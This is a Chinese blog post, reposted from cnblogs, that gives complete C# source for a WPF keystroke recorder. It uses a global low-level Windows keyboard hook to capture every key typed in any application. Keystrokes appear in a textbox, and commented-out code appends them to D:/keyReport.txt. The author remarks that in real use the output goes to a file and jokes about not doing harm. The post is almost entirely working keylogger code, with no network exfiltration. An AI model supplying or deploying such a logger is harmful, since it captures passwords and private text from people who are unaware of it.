wpf键盘记录器(键盘钩子)

很简单的一个wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

/// <summary>
  /// Raw keyevent handler.
  /// </summary>
  /// <param name="sender">sender</param>
  /// <param name="args">raw keyevent arguments</param>
  public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);
 
  #region WINAPI Helper class
 
  /// <summary>
  /// Winapi Key interception helper class.
  /// </summary>
  internal static class InterceptKeys
  {
      public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
      public static int WH_KEYBOARD_LL = 13;
 
      /// <summary>
      /// Key event
      /// </summary>
      public enum KeyEvent : int
      {
          /// <summary>
          /// Key down
          /// </summary>
          WM_KEYDOWN = 256,
 
          /// <summary>
          /// Key up
          /// </summary>
          WM_KEYUP = 257,
 
          /// <summary>
          /// System key up
          /// </summary>
          WM_SYSKEYUP = 261,
 
          /// <summary>
          /// System key down
          /// </summary>
          WM_SYSKEYDOWN = 260
      }
 
      public static IntPtr SetHook(LowLevelKeyboardProc proc)
      {
          using (Process curProcess = Process.GetCurrentProcess())
          using (ProcessModule curModule = curProcess.MainModule)
          {
              return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
          }
      }
 
      [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
      public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
 
      [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
      [return: MarshalAs(UnmanagedType.Bool)]
      public static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
      [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
      public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);
 
      [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
      public static extern IntPtr GetModuleHandle(string lpModuleName);
 
      #region Convert VKCode to string
 
      // Note: Sometimes single VKCode represents multiple chars, thus string.
      // E.g. typing "^1" (notice that when pressing 1 the both characters appear,
      // because of this behavior, "^" is called dead key)
 
      [DllImport("user32.dll")]
      private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
 
      [DllImport("user32.dll")]
      private static extern bool GetKeyboardState(byte[] lpKeyState);
 
      [DllImport("user32.dll")]
      private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);
 
      [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
      private static extern IntPtr GetKeyboardLayout(uint dwLayout);
 
      [DllImport("User32.dll")]
      private static extern IntPtr GetForegroundWindow();
 
      [DllImport("User32.dll")]
      private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
 
      [DllImport("user32.dll")]
      private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
 
      [DllImport("kernel32.dll")]
      private static extern uint GetCurrentThreadId();
 
      private static uint lastVKCode = 0;
      private static uint lastScanCode = 0;
      private static byte[] lastKeyState = new byte[255];
      private static bool lastIsDead = false;
 
      /// <summary>
      /// Convert VKCode to Unicode.
      /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
      /// </summary>
      /// <param name="VKCode">VKCode</param>
      /// <param name="isKeyDown">Is the key down event?</param>
      /// <returns>String representing single unicode character.</returns>
      public static string VKCodeToString(uint VKCode, bool isKeyDown)
      {
          // ToUnicodeEx needs StringBuilder, it populates that during execution.
          System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);
 
          byte[] bKeyState = new byte[255];
          bool bKeyStateStatus;
          bool isDead = false;
 
          // Gets the current windows window handle, threadID, processID
          IntPtr currentHWnd = GetForegroundWindow();
          uint currentProcessID;
          uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);
 
          // This programs Thread ID
          uint thisProgramThreadId = GetCurrentThreadId();
 
          // Attach to active thread so we can get that keyboard state
          if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
          {
              // Current state of the modifiers in keyboard
              bKeyStateStatus = GetKeyboardState(bKeyState);
 
              // Detach
              AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
          }
          else
          {
              // Could not attach, perhaps it is this process?
              bKeyStateStatus = GetKeyboardState(bKeyState);
          }
 
          // On failure we return empty string.
          if (!bKeyStateStatus)
              return "";
 
          // Gets the layout of keyboard
          IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);
 
          // Maps the virtual keycode
          uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);
 
          // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
          if (!isKeyDown)
              return "";
 
          // Converts the VKCode to unicode
          int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);
 
          string ret = "";
 
          switch (relevantKeyCountInBuffer)
          {
              // Dead keys (^,`...)
              case -1:
                  isDead = true;
 
                  // We must clear the buffer because ToUnicodeEx messed it up, see below.
                  ClearKeyboardBuffer(VKCode, lScanCode, HKL);
                  break;
 
              case 0:
                  break;
 
              // Single character in buffer
              case 1:
                  ret = sbString[0].ToString();
                  break;
 
              // Two or more (only two of them is relevant)
              case 2:
              default:
                  ret = sbString.ToString().Substring(0, 2);
                  break;
          }
 
          // We inject the last dead key back, since ToUnicodeEx removed it.
          // More about this peculiar behavior see e.g:
          //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
          //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
          //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
          if (lastVKCode != 0 && lastIsDead)
          {
              System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
              ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
              lastVKCode = 0;
 
              return ret;
          }
 
          // Save these
          lastScanCode = lScanCode;
          lastVKCode = VKCode;
          lastIsDead = isDead;
          lastKeyState = (byte[])bKeyState.Clone();
 
          return ret;
      }
 
      private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
      {
          System.Text.StringBuilder sb = new System.Text.StringBuilder(10);
 
          int rc;
          do
          {
              byte[] lpKeyStateNull = new Byte[255];
              rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
          } while (rc < 0);
      }
 
      #endregion Convert VKCode to string
  }
 
  #endregion WINAPI Helper class
public class KeyboardListener : IDisposable
    {
        /// <summary>
        /// Creates global keyboard listener.
        /// </summary>
        public KeyboardListener()
        {
            // Dispatcher thread handling the KeyDown/KeyUp events.
            this.dispatcher = Dispatcher.CurrentDispatcher;
 
            // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
            hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;
 
            // Set the hook
            hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);
 
            // Assign the asynchronous callback event
            hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
        }
 
        private Dispatcher dispatcher;
 
        /// <summary>
        /// Destroys global keyboard listener.
        /// </summary>
        ~KeyboardListener()
        {
            Dispose();
        }
 
        /// <summary>
        /// Fired when any of the keys is pressed down.
        /// </summary>
        public event RawKeyEventHandler KeyDown;
 
        /// <summary>
        /// Fired when any of the keys is released.
        /// </summary>
        public event RawKeyEventHandler KeyUp;
 
        #region Inner workings
 
        /// <summary>
        /// Hook ID
        /// </summary>
        private IntPtr hookId = IntPtr.Zero;
 
        /// <summary>
        /// Asynchronous callback hook.
        /// </summary>
        /// <param name="character">Character</param>
        /// <param name="keyEvent">Keyboard event</param>
        /// <param name="vkCode">VKCode</param>
        private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);
 
        /// <summary>
        /// Actual callback hook.
        ///
        /// <remarks>Calls asynchronously the asyncCallback.</remarks>
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        [MethodImpl(MethodImplOptions.NoInlining)]
        private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
        {
            string chars = "";
 
            if (nCode >= 0)
                if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
                {
                    // Captures the character(s) pressed only on WM_KEYDOWN
                    chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
                        (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));
 
                    hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
                }
 
            return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
        }
 
        /// <summary>
        /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
        /// </summary>
        private KeyboardCallbackAsync hookedKeyboardCallbackAsync;
 
        /// <summary>
        /// Contains the hooked callback in runtime.
        /// </summary>
        private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;
 
        /// <summary>
        /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
        /// </summary>
        /// <param name="keyEvent">Keyboard event</param>
        /// <param name="vkCode">VKCode</param>
        /// <param name="character">Character as string.</param>
        private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
        {
            switch (keyEvent)
            {
                // KeyDown events
                case InterceptKeys.KeyEvent.WM_KEYDOWN:
                    if (KeyDown != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
                    break;
                case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
                    if (KeyDown != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
                    break;
 
                // KeyUp events
                case InterceptKeys.KeyEvent.WM_KEYUP:
                    if (KeyUp != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
                    break;
                case InterceptKeys.KeyEvent.WM_SYSKEYUP:
                    if (KeyUp != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
                    break;
 
                default:
                    break;
            }
        }
 
        #endregion Inner workings
 
        #region IDisposable Members
 
        /// <summary>
        /// Disposes the hook.
        /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
        /// </summary>
        public void Dispose()
        {
            InterceptKeys.UnhookWindowsHookEx(hookId);
        }
 
        #endregion IDisposable Members
    }
/// <summary>
   /// Raw KeyEvent arguments.
   /// </summary>
   public class RawKeyEventArgs : EventArgs
   {
       /// <summary>
       /// VKCode of the key.
       /// </summary>
       public int VKCode;
 
       /// <summary>
       /// WPF Key of the key.
       /// </summary>
       public Key Key;
 
       /// <summary>
       /// Is the hitted key system key.
       /// </summary>
       public bool IsSysKey;
 
       /// <summary>
       /// Convert to string.
       /// </summary>
       /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
       public override string ToString()
       {
           return Character;
       }
 
       /// <summary>
       /// Unicode character of key pressed.
       /// </summary>
       public string Character;
 
       /// <summary>
       /// Create raw keyevent arguments.
       /// </summary>
       /// <param name="VKCode"></param>
       /// <param name="isSysKey"></param>
       /// <param name="Character">Character</param>
       public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
       {
           this.VKCode = VKCode;
           this.IsSysKey = isSysKey;
           this.Character = Character;
           this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
       }
   }

codebehind

KeyboardListener _KeyListener = new KeyboardListener();
     bool _isRuning = false;
     public MainWindow()
     {
         InitializeComponent();
         this.Loaded += Window_Loaded;
     }
 
     public void BeginListen(object sender, RoutedEventArgs e)
     {
         _isRuning = true;
     }
     public void StopListen(object sender, RoutedEventArgs e)
     {
         _isRuning = false;
     }
 
     private void Window_Loaded(object sender, RoutedEventArgs e)
     {
         _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
     }
     StringBuilder _sb = new StringBuilder();
     private void KListener_KeyDown(object sender, RawKeyEventArgs args)
     {
         if (!_isRuning) return;
         tb_keyText.Text += args.ToString();
         //if (args.Key == Key.Enter)
         //{
         //    Write(_sb.ToString());
         //    _sb.Clear();
         //}
         //else
         //{
         //    _sb.Append(args.ToString());
         //}
         //Console.WriteLine(args.ToString());
     }
 
     private void Write(string keyEvents)
     {
         try
         {
             StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);
             sw.WriteLine(keyEvents);
             sw.Close();
 
         }
         catch (Exception Exception)
         {
         }
     }
     private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
     {
         _KeyListener.Dispose();
     }

出处:https://www.cnblogs.com/li-peng/p/3328454.html

原文地址:https://www.cnblogs.com/mq0036/p/12422705.html